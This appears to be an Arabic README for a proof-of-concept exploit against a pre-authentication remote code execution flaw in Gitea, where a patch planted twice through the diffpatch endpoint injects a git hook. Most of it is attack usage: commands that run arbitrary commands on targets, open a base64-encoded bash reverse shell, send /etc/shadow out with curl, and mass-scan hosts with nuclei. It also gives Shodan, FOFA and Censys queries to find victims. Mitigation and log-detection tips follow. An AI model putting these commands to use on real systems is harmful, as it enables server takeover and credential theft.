
CVE-2026-60004 — استغلال RCE قبل المصادقة — Gitea <= 1.27.0 — حقن خطاف git عبر diffpatch (CVSS 9.8)
┌──────────────────────────────────────────────────────────────┐
│ CVE-2026-60004 │ Gitea Pre-Auth RCE │ CVSS 9.8 (CRIT) │
│ diffpatch → git hook injection │ v1.17–1.27.0 affected │
└──────────────────────────────────────────────────────────────┘
| الخاصية | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-60004 |
| درجة CVSS | 9.8 (حرجة) |
| CWE | CWE-94 (حقن الكود) |
| الإصدارات المتأثرة | Gitea 1.17 حتى 1.27.0 |
| الإصدار المُصحَّح | Gitea 1.27.1 (صدر في 27 يوليو 2026) |
| نقطة النهاية المعرَّضة | POST /api/v1/repos/{owner}/{repo}/diffpatch |
| اكتشفها | Shai Rod (NightRang3r) |
| درجة EPSS | 0.95 (احتمالية استغلال 95%) |
تستغل الثغرة الطريقة التي تعالج بها نقطة نهاية diffpatch في Gitea رقع Git المقدمة من المستخدم:
فخ الاستنساخ العاري — تنشئ نقطة النهاية استنساخًا مؤقتًا عارياً (bare) (بدون شجرة عمل)، مما يعني أن دليلها الجذر هو $GIT_DIR.
معالجة الرقعة — يتم استدعاء git apply مع الأعلام: --index و--recount و--cached و--binary، و (مع Git ≥ 2.32) -3 للتراجع إلى الدمج ثلاثي الاتجاهات.
تصادم Add/Add — من خلال إرسال نفس الرقعة الخبيثة مرتين، يُحدث المهاجم تعارض add/add. يكتب التراجع ثلاثي الاتجاهات في Git مسار الملف من الرقعة إلى القرص — متجاوزًا قيد --cached.
حقن الخطاف — يصوغ المهاجم الرقعة بحيث يكون مسار الملف هو hooks/post-index-change. ولأن الاستنساخ عارٍ، فيستقر هذا الملف مباشرةً في دليل خطافات Git.
تنفيذ الكود — عندما يحدّث Git الفهرس، ينفّذ تلقائيًا خطاف post-index-change، مشغّلًا أوامر الصدفة الخاصة بالمهاجم بصلاحية حساب خدمة Gitea.
Attacker Gitea Server
│ │
├─ POST /user/sign_up ────────────────►│ Register new user
│ │
├─ POST /api/v1/user/repos ───────────►│ Create private repo (auto-init)
│ │
├─ GET /api/v1/repos/.../branches ────►│ Get commit SHA
│ │
├─ POST /api/v1/repos/.../diffpatch ──►│ 1st patch: plant hook
│ │ Git creates bare clone
│ │ Applies patch (--cached)
│ │
├─ POST /api/v1/repos/.../diffpatch ──►│ 2nd patch: SAME PATCH
│ (same exact patch!) │ ADD/ADD COLLISION!
│ │ Git -3 fallback writes to disk
│ │ hooks/post-index-change created
│ │ Git fires post-index-change hook!
│ │ ┌─ Command executes ─┐
│ │ │ reads /etc/passwd │
│ │ │ stores in git blob │
│ │ │ creates rce-proof │
│ │ │ branch │
│ │ └────────────────────┘
│ │
├─ GET /api/v1/repos/.../raw/proof ───►│ Retrieve output
│◄─────────────────────────────────────┤ /etc/passwd contents
│ │
# Install dependencies (uses stdlib only — no pip needed!)
# Python 3.7+ required
# Quick one-liner
python3 cve-2026-60004-poc.py --url http://target --cmd "id"
# Mode 1: Full-Auto (register + create + exploit + retrieve)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto
# Mode 2: Semi-Auto (existing credentials)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode semi-auto \
--user myuser --pw 'MyPass123!'
# Mode 3: Manual (existing user + repo)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode manual \
--user myuser --pw 'MyPass123!' --repo existing-repo
# Mode 4: Check Only (non-intrusive detection)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode check
# Execute custom command
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "whoami; id; env"
# Reverse shell (base64 encoded)
PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' | base64)
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "echo $PAYLOAD | base64 -d | bash"
# Exfiltrate data via curl
python3 cve-2026-60004-poc.py --url http://target:3000 --mode full-auto \
--cmd "curl http://your-server/$(cat /etc/shadow | base64 -w0)"
# Run against a single target
nuclei -t CVE-2026-60004.yaml -u http://target:3000
# Run against multiple targets
nuclei -t CVE-2026-60004.yaml -l targets.txt -o results.txt
# With debugging output
nuclei -t CVE-2026-60004.yaml -u http://target:3000 -debug -v
حدّث Gitea إلى الإصدار 1.27.1 أو أحدث:
# Docker
docker pull gitea/gitea:1.27.1
# Binary
wget https://dl.gitea.com/gitea/1.27.1/gitea-1.27.1-linux-amd64
عطّل التسجيل المفتوح (يقلل من سطح الهجوم):
# app.ini
[service]
DISABLE_REGISTRATION = true
شغّل Gitea بحساب خدمة بأقل الصلاحيات اللازمة
راقب طلبات POST المتكررة إلى منفذ diffpatch
# Search for diffpatch abuse in Gitea logs
grep -E "POST.*diffpatch" /var/lib/gitea/log/gitea.log
# Check for suspicious repo creation + immediate diffpatch use
grep -E "(CreateRepository|diffpatch)" /var/lib/gitea/log/gitea.log
# Shodan
http.title:"Gitea"
http.favicon.hash:5247710
# FOFA
app="Gitea"
title="Gitea"
# Censys
services.software.product:"Gitea"
هذه الأداة مقدمة لأغراض تعليمية ولاختبارات الأمان المصرح بها فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني وقد ينتهك:
لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الأضرار الناجمة عن هذه الأداة.
رخصة MIT — راجع مستودع EQSTLab للتفاصيل.